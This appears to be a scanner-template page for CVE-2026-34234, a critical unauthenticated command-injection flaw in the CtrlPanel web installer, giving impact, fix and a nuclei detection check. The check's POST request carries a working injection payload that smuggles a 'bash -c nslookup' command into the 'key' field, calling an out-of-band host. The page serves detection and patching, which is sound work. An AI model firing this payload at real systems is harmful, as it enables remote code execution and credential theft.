CtrlPanel <= 1.1.1 - Remote Code Execution

criticalseverity

10CVSS score

3.2%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

CtrlPanel versions <= 1.1.1 are vulnerable to unauthenticated Remote Code Execution (RCE) via the web installer endpoint (public/installer/index.php). The installer loaded and executed form handler files before checking for the install.lock gate, allowing attackers to reach installer forms on fully-deployed instances. User-supplied POST values (url, key, clientkey) from the Pterodactyl configuration form were interpolated directly into shell command strings executed via bash -c without sanitization, enabling command injection. The vulnerability is confirmed actively exploited in the wild.

Impact

Unauthenticated attackers can execute arbitrary OS commands with web server process privileges on any CtrlPanel instance where /installer/index.php is accessible. Consequences include full server compromise, extraction of .env database credentials and application secrets, persistent backdoor installation, and lateral movement.

Fix

Update to CtrlPanel v1.2.0 or later. The patch moves the install.lock check to the top of index.php before any form files are loaded, and replaces string-based proc_open() calls with array-style argument lists to prevent shell injection. As an immediate mitigation, deny web server access to the /installer/ directory.

How to confirm it

Send: GET /installer/index.php
Positive when: status_code == 200 and contains(body, 'installation')
Send: POST /installer/index.php
Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2026-34234 -u <target>

The full check

id: CVE-2026-34234

info:
  name: CtrlPanel <= 1.1.1 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    CtrlPanel versions <= 1.1.1 are vulnerable to unauthenticated Remote Code Execution (RCE) via the web installer endpoint (public/installer/index.php). The installer loaded and executed form handler files before checking for the install.lock gate, allowing attackers to reach installer forms on fully-deployed instances. User-supplied POST values (url, key, clientkey) from the Pterodactyl configuration form were interpolated directly into shell command strings executed via bash -c without sanitization, enabling command injection. The vulnerability is confirmed actively exploited in the wild.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands with web server process privileges on any CtrlPanel instance where /installer/index.php is accessible. Consequences include full server compromise, extraction of .env database credentials and application secrets, persistent backdoor installation, and lateral movement.
  remediation: |
    Update to CtrlPanel v1.2.0 or later. The patch moves the install.lock check to the top of index.php before any form files are loaded, and replaces string-based proc_open() calls with array-style argument lists to prevent shell injection. As an immediate mitigation, deny web server access to the /installer/ directory.
  reference:
    - https://github.com/Ctrlpanel-gg/panel/security/advisories/GHSA-jmhr-q9q5-fqwh
    - https://github.com/rootdirective-sec/CVE-2026-34234-Lab
    - https://github.com/Ctrlpanel-gg/panel/releases/tag/1.2.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34234
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34234
    epss-score: 0.03243
    epss-percentile: 0.88408
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: ctrlpanel-gg
    product: ctrlpanel
    shodan-query: title:"CtrlPanel" http.html:"ctrlpanel"
    fofa-query: title="CtrlPanel"
  tags: cve,cve2026,ctrlpanel,rce,oast,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /installer/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'installation')"
        condition: and
        internal: true

  - raw:
      - |
        POST /installer/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        checkPtero=1&url=http%3A%2F%2F{{interactsh-url}}&key=asdasdasda%27%27+%26%26+bash+-c+%27nslookup+{{interactsh-url}}%27&clientkey=asdasdasd

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from